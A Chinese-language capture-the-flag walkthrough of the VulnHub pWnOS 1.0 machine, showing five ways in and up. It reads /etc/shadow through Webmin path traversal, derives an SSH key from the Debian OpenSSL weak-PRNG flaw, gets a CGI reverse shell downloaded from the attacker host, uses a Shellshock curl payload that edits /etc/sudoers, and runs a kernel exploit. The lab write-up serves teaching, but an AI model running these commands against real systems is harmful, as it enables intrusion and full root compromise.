pWnOS1.0靶场思路——一个靶场五种思路
pWnOS1.0靶场思路——一个靶场五种思路

pWnOS1.0靶场思路——一个靶场五种思路

靶机来自vulnhub—pWnOS1.0

内容:
任意文件读取/etc/shadow
Debian OpenSSl伪随机数生成密钥漏洞碰撞ssh私钥
权限不合理配置,CGI执行反弹shell提权。
不安全权限配置加shellshock漏洞提权
内核漏洞提权

web渗透思路一

任意文件读取/etc/shadow

文件包含利用
在nmap的脚本扫描时发现该靶场的10000端口是webmin的管理员界面,而且存在一个文件包含,目录穿越漏洞,可以利用nmap给出的EXP,或者serchsploit webmin找到上述nmap扫描出来的漏洞利用

这里用的是2017.pl,只要是文件包含,目录穿越,任意文件读取的EXP都可以利用,原理类似

利用EXP读取/etc/passwd看看是否可以利用,既然可以利用可以尝试下/etc/shadow,正常情况权限配置下是不能读取到/etc/shadow的,但是这里读取到了说明权限配置过高

可以尝试本地爆破,也可以用在线工具解密hash,这里本地用john爆破出来了vmware,root用户在线工具解密不出来

解密出来的vmware用户就可以远程登录进去了

web渗透思路二

Debian OpenSSl伪随机数生成密钥漏洞碰撞ssh私钥

Debian OpenSSL Predictable PRNG Exploitation
这个利用的更丰富的信息可参见:https://github.com/shn3rd/OpenSSL-PRNG

Debian OpenSSL Predictable PRNG Exploitation是指2008年发现的一个严重漏洞,影响了Debian Linux发行版中的OpenSSL软件包。这个漏洞是由于Debian在2006年对OpenSSL软件包进行补丁修复时,错误地导致了随机数生成器的预测性,从而使得生成的密钥和加密数据变得可预测。

具体来说,Debian的维护人员在修复一个潜在的内存泄漏问题时,不小心将OpenSSL中用于生成随机数的代码中的关键部分删除了。这导致了OpenSSL的随机数生成器变得可预测,因为它实际上只使用了一个种子来生成随机数,而这个种子是固定的。

由于随机数在加密和密钥生成中起着至关重要的作用,这个漏洞导致了OpenSSL生成的加密密钥和数据变得容易受到攻击。攻击者可以利用这个可预测的随机数生成器,推断出加密密钥和数据的值,从而破坏加密的安全性。

这个漏洞的后果非常严重,因为它影响了大量基于Debian的系统,包括服务器和个人计算机。修复此漏洞需要更新受影响系统上的OpenSSL软件包,并生成新的加密密钥以确保系统的安全性。

由于执行任意文件读取到了/etc/passwd文件知道了哪些用户的存在

用EXP读取用户公钥文件—/home/用户/.ssh/authorized_keys,通过伪随机数生成器,查询出对应公钥的私钥,用私钥远程登录

这里以用户obama为例(这里vmware的公钥碰撞不出,)

sudo perl 2017.pl 10.10.10.108 10000 /home/obama/.ssh/authorized_keys 0

知道公钥后,可以尝试伪随机数生成的公钥碰撞的方式

下载利用的EXP
searchsploit prng -m 5622(5720,5632都可以都是同样的方式,只是不同的语言编写的)

cat 5622.txt

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2

tar -xvjf 5622.tar.bz2 // 解压

这个命令用于解压缩一个名为 5622.tar.bz2 的 bzip2 压缩文件。在这个命令中:

  • tar:表示使用 tar 命令进行操作。
  • -x:表示提取(解压缩)文件。
  • -v:表示在屏幕上显示详细的提取过程。
  • -j:表示使用 bzip2 解压缩。
  • -f:表示后面跟着的是要操作的文件名。

因此,运行这个命令将会解压缩名为 5622.tar.bz2 的压缩文件,解压后的文件将被放置在当前目录中。如果想要指定解压缩到特定目录,可以在命令中添加目标路径,例如:tar -xvjf 5622.tar.bz2 -C /path/to/extract

这将会把压缩文件解压缩到 /path/to/extract 目录中。

cd rsa

这里是上述通过任意文件读取出来的公钥

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ== obama@ubuntuvm

grep -lr “AAAAB3NzaC1yc2EAAAABIwA” // 用一小段公钥去伪随机数生成的公钥里面检索,并显示出在哪个公钥文件中,查看后发现完全相同

其同名文件就是私钥

用私钥ssh登录,根据两次提示,这里需要添加-oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss

sudo ssh obama@10.10.10.108 -i dcbe2a56e8cdea6d17495f6648329ee2-4679 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss

这个命令尝试使用 SSH 连接到 IP 地址为 10.10.10.108 的主机,并使用提供的私钥文件 dcbe2a56e8cdea6d17495f6648329ee2-4679 进行身份验证。同时,该命令还指定了一些参数来解决可能出现的算法相关问题。

  • sudo:以超级用户权限运行命令。
  • ssh:用于建立 SSH 连接的命令。
  • obama@10.10.10.108:要连接的目标主机的用户名和 IP 地址。
  • -i dcbe2a56e8cdea6d17495f6648329ee2-4679:指定要使用的私钥文件。
  • -oHostKeyAlgorithms=ssh-rsa,ssh-dss:指定要使用的主机密钥算法,这里设置为 ssh-rsa 和 ssh-dss
  • -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss:指定接受的公钥算法类型,这里设置为 ssh-rsa 和 ssh-dss

提权思路一

权限不合理配置,CGI执行反弹shell提权

通过之前的文件包含漏洞发现,可以包含到/etc/shadow文件,可以推测到应该是权限配置过高,所以用
ls -liah // 查看权限
这里发现www目录属于root,那么该目录下的文件都具有root的权限,这样只要利用这里的root权限来提权,可以用先前的文件包含漏洞包含cgi文件交给cgi运行脚本,在再脚本中写入反弹shell,建立监听就可以获取root用户的shell。

复制kali自带的反弹shell脚本
cp /usr/share/webshells/perl/perl-reverse-shell.pl ./shell.cgi
vim ./shell.cgi // 把ip改成本地地址

kali> sudo php -S 0:80 (sudo python3 -m http.server 80) // 部署服务器上传反弹shell脚本
target> cd /tmp
target> wget http://10.10.10.128/shell.cgi // 下载脚本
target> chmod +x ./shell.cgi //赋予运行权限
sudo perl 2017.pl 10.10.10.108 10000 /tmp/shell.cgi 0 // 利用之前的EXP包含/tmp/shell.cgi利用CGI执行反弹脚本

提权思路二

不安全权限配置加shellshock漏洞提权

远程利用 shellshock 漏洞利用www的root权限修改/etc/sudoers,赋予当前用户最高权限
uname -a 查看系统信息,发现内核版本较低,可以想到对应的bash应该也较低
bash –version // 查看bash版本信息发现bash版本在4.3以下大概率存在shellshock漏洞
env x=”() { :;}; echo ‘It is vulnerable'” bash -c “echo This is a test” // 测试shellshock漏洞

这里执行了echo语句证明存在shellshock漏洞,那利用CGI触发shellshock漏洞,向/etc/sudoers写入当前用户的特殊权限
kali> sudo curl http://10.10.10.108:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/tmp/bash.cgi -A ‘() { :;}; /bin/echo “vmware ALL=(ALL) NOPASSWD: ALL” >> /etc/sudoers’
target> sudo su // 切换root用户

target> cat /etc/sudoers //查看sudoers文件,发现用户权限确实被修改了

提权思路三

内核漏洞提权

由于内核版本较低,可以尝试内核漏洞提权
searchsploit linux kernel 2.6.2 |grep “Privilege Escalation” //筛选出适用于linux内核2.6.2适用的提权EXP

内核提权不是只要在版本范围内就能百分之百可以提权成功的,所以要筛选搜索结果,筛选原则
1.版本范围
2.限制条件较少
3.同类型的EXP可以先只尝试一个
通过逐个筛选并尝试最终5092.c可以成功提权

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注